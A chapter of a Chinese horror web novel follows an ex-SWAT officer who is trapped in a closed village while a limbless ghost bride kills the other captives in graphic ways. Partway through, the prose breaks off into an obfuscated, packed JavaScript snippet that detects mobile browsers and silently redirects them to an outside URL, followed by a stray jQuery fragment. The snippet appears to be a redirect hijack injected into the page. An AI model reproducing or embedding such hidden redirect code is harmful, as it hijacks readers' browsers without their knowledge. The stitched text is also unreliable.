林徵音让程砚生先回去。
程砚生不太放心,他说:“要不你告诉我该怎么做,我去,你在这等我。”
林徵音笑笑,“没事,不要担心我。”
说完像是想起来了什么事,又问:“你自己来的?”
程砚生:“我跟沈哥一起来的,他也很担心你。”
林徵音听他说完,面色忽然变得有些复杂,“在我回来之前,你小心点他,或者你先在这待着,等天亮了再回去。”
想想刚才发生的事,程砚生也觉得摸黑回去不太稳妥,于是答应了下来。
林徵音走得很急,她想快点把鞋找到回去,至于为什么让程砚生小心沈清涿,那还得从她到这个世界的那天开始说起。
三天前——
林徵音一觉睡到天亮,抻着懒腰出门,一抬头,看见走廊尽头站着一个穿白色中山装的男人。
小洋楼原本是密不透光的,但不知道为什么,那人看起来像是一半身体藏在黑暗中。
此时走廊上已经站了不少人,但那男人没有说话,直到又有两个姑娘从房间出来。
白色中山装这才冷冰冰说:“大家早上好,人到齐了就去吃饭吧。”
她们吃饭的地方是一个小院子,她看了一眼,除了每桌都有的白色中山装之外,还剩五个人,一共五桌,其中以女性居多。
虽然是白天,但是这里的气候还是让人觉得很不舒服,就好像太阳只能照到人的皮肤表层,但更深的血肉还是冷的。
她身边坐着的是一对小情侣,看起来也就二十左右岁,女孩娇滴滴倚在男友肩头,“老公,无论发生什么你都会陪着我的对吗?”
林徵音咋舌,还是年轻好,海誓山盟什么的张嘴就来,听着让人怪憧憬爱情的。
可能由于是晴天的原因,在座的人都没有刚来这的时候那么紧张,大家吃饭的时候嘻嘻哈哈,像在菜市场旁边吃麻辣烫。
等大家吃得快差不多了,一直对一切都充耳不闻的白色中山装开口了,“都吃饱了吗?”
大家不明所以,都点点头。
“既然吃饱了,那就开始干活了。”白色中山装说:“眼看婚期将至,新娘的绣鞋丢了,你们都回到自己的房间找找吧。”
大家面面相觑,但是看着白色中山装不苟言笑的脸,也都识趣地没有说话。
吃完饭,林徵音回到房间,等推开门,发现房间发生了翻天覆地的变化。
原本没有窗户,沉闷得让人心里压抑的小房间不见了,取而代之的是一个用稻草泥巴糊出来的房间,虽然屋子有些破旧,但是有窗还有炕,所谓的没有对比就没有伤害,住了一晚那个监狱似的房间,这个屋子她竟然可以接受。
正想着呢,从她身后的门里又进来不少人,她仔细辨认了一下,就是刚才一起吃饭的那些人。
“咦?这是怎么回事。”
早上那对小情侣中的女孩子看见林徵音,也是一脸好奇,“你怎么在我们的房间呀?”
说话的工夫,后面又接二连三进来了十几个人。
林徵音明白了,这个屋子是大家的集合点。意思就是不管是从哪个房间进来,最终都会来到这个屋子。
本来就不算很大的房间这会儿站满了人,就像5A级景点售票口似的,有的人受不了这种窒息感,直奔主题,出去找鞋。
林徵音也出去了。
职业使然,她在附近转了一下,大概摸了一下地形。
她发现这是一个没有出口的村子。
她沿着村里唯一的一条小路走了好几圈,最终在最东面那个石头院子后面发现了一条不是很显眼的小路。
转了一整天,大家都是一无所获。
晚上回到房间,住在哪里又成了问题。
在大家进来之后,他们进来的那道门就消失了,现在二十多号男男女女站在大通铺前都犯了难。
三米多一点的炕,二十多个人得叠罗汉才能睡下吧?
林徵音没打算跟他们挤。
白天的时候她感觉到了,这里的温度不低。之前她执行任务的时候,零下十几度的天都能在苞米地蹲一宿,这里就更不用说了,在外面将就一夜什么问题都没有。
大家还在为谁睡哪吵得不可开交,她脑袋发炸,正要出去,忽然听见山那边隐隐传来了唢呐声,不知道是什么曲子,但听着就挺晦气。
屋里大家还在扯着嗓门嚷嚷,她狠狠拍了一下单薄的门板,“安静!”
到底是特警出身,板起脸来,依然气势迫人。
刚才还像炸了锅的人群顿时安静下来。
见林徵音面色沉沉,有人小声嘀咕着:“装什么啊,strong姐。”
下一秒,那阵吹打声就清晰起来。
一个男人也听到了。
“卧槽卧槽,这大半夜的这是干吗啊?怪瘆人的。”
另一个后颈纹着关二爷像的光头男人不屑,“看你这点出息,老子出去看看外面是什么情况,回来之后你滚外面去睡,把这里让给老子。”
不少人附和,“我也跟你去。”
八个男人一窝蜂的去到门外。
很快,那唢呐声就到了跟前,林徵音看了一眼声源处,见是一支队伍,走在最前的人扛着灵头旛,五更半夜的有点吓人。
那光头男戴着大金链子小手表,一走道骨头架子都快摇散了,他朝着那队伍轻浮地吹了声口哨,“oi,嘛的啊你们,大半夜在这装神弄鬼的。”
就在他开口的瞬间,林徵音看见他身子一僵,紧接着身体的水份被快速抽干,也就是眨个眼的工夫,那人已经成了一具干尸。
“啊啊啊!!”
跟着他一起出去的那几人顿时发出一阵尖锐爆鸣声,他们转头就朝屋里跑,只可惜不等迈步,人就没了。
看见这一幕,屋里的人被吓得不轻,一时间尖叫声此起彼伏,不出意外,大家都出意外了,但不一样的是,屋外的那八个男人成了干尸,而屋里的人们先是红温,紧接着身体快速膨胀,直到皮肤承受不住压力爆开。
内脏四处飞散,温热的液体溅了林徵音满身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288170|166711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里的温度本来就高,那股黏腻腥臭的液体快速发酵,屋里的气味像是在四十度的天里死了一窝老鼠。
她觉得胃里一阵翻江倒海,但第六感告诉她不能发出任何声响。
她忍着恶心,倒在了血泊里装死。
很快,沉重的“沙沙”声从门外进来。
是一个穿着红嫁衣的女人,她的眼窝是空的,皮肤苍老得像是树皮,这会儿蹲在尸山里扒拉着什么。
很快,她摸到了一双腿,想也不想硬拽下来安在了自己的腿上。
林徵音这才看见她是没有四肢的。
眼见着那女人朝她这边走了过来,林徵音赶忙闭上眼。
一股腐尸味儿从她身前飘过,逐渐向身后散去,她甚至感受到女人的衣摆擦过自己的右脸。
忽然,一道微弱的求救声从尸山里传来。
“救,救命。”
女人的动作停滞了一瞬,紧接着猛地向那边跑去,一掌插进那人的喉咙。
女人离开的时候,外面刚好响起鸡鸣。
经过一夜的翻找,她凑齐了四肢,甚至连皮肤都换了,只是那双眼睛依然是个窟窿,估计是没找到特别合她心意的替换。
以光头为首的那八具干尸见她出来,自觉扛起地上的棺材,她满意地坐在上面,一行人向山上走去。
林徵音赶忙爬起来,悄悄跟了上去。
牠们果然是从那石头屋子后面上山的,只不过走到半山腰,干尸们就不动了,像是被什么东西钉在了原地。
女人笨拙地从棺材上爬下来,蹒跚着继续向山顶走。
林徵音调整步伐跟她保持一致,这样她就发现不了身后还有人。
一路走到山顶,女人终于停下了脚步。
一座庙宇出现在眼前,庙门口的柱子雕梁画栋,看着很是气派,不知道的还以为是南天门,但因为年久失修,庙顶有个很大的破洞,里面不知道供奉着的是哪尊神仙,只能从破洞处看见神像的发顶。
女人拖着脚走了进去,在迈过门槛的一瞬间变成了男人。
林徵音加快脚步,生怕把对方跟丢,但尽管如此,进了庙之后她还是没找到人。
庙里正中央供着一尊黑色的神像,约有八层楼高,闭着眼睛,似是不忍细看世人。除此之外,庙里空空荡荡,没有供桌,却在神像脚边有个蒲团。
这里的窗户也是坏的,石板地面上满是黄土,喘口气都能吐出来两斤沙子。
林徵音把蒲团踢开,忽然听见神像后传来沉闷的“轰隆”声,像是一道沉重的石门缓缓开启。
她走过去一看,是一处暗室。
庙门口又传来声响,像是走路时衣服摩擦的声音,很轻,转瞬即逝。
她没急着进去,又绕回神像前。
观察了一圈,庙里还是只有她自己。
邪了门了。
她走到暗室前,正要进去,电光火石间,她想到了什么,匆忙又回到神像前。
她愣住了。
刚才一直闭着眼睛的神像,眼睛睁开了。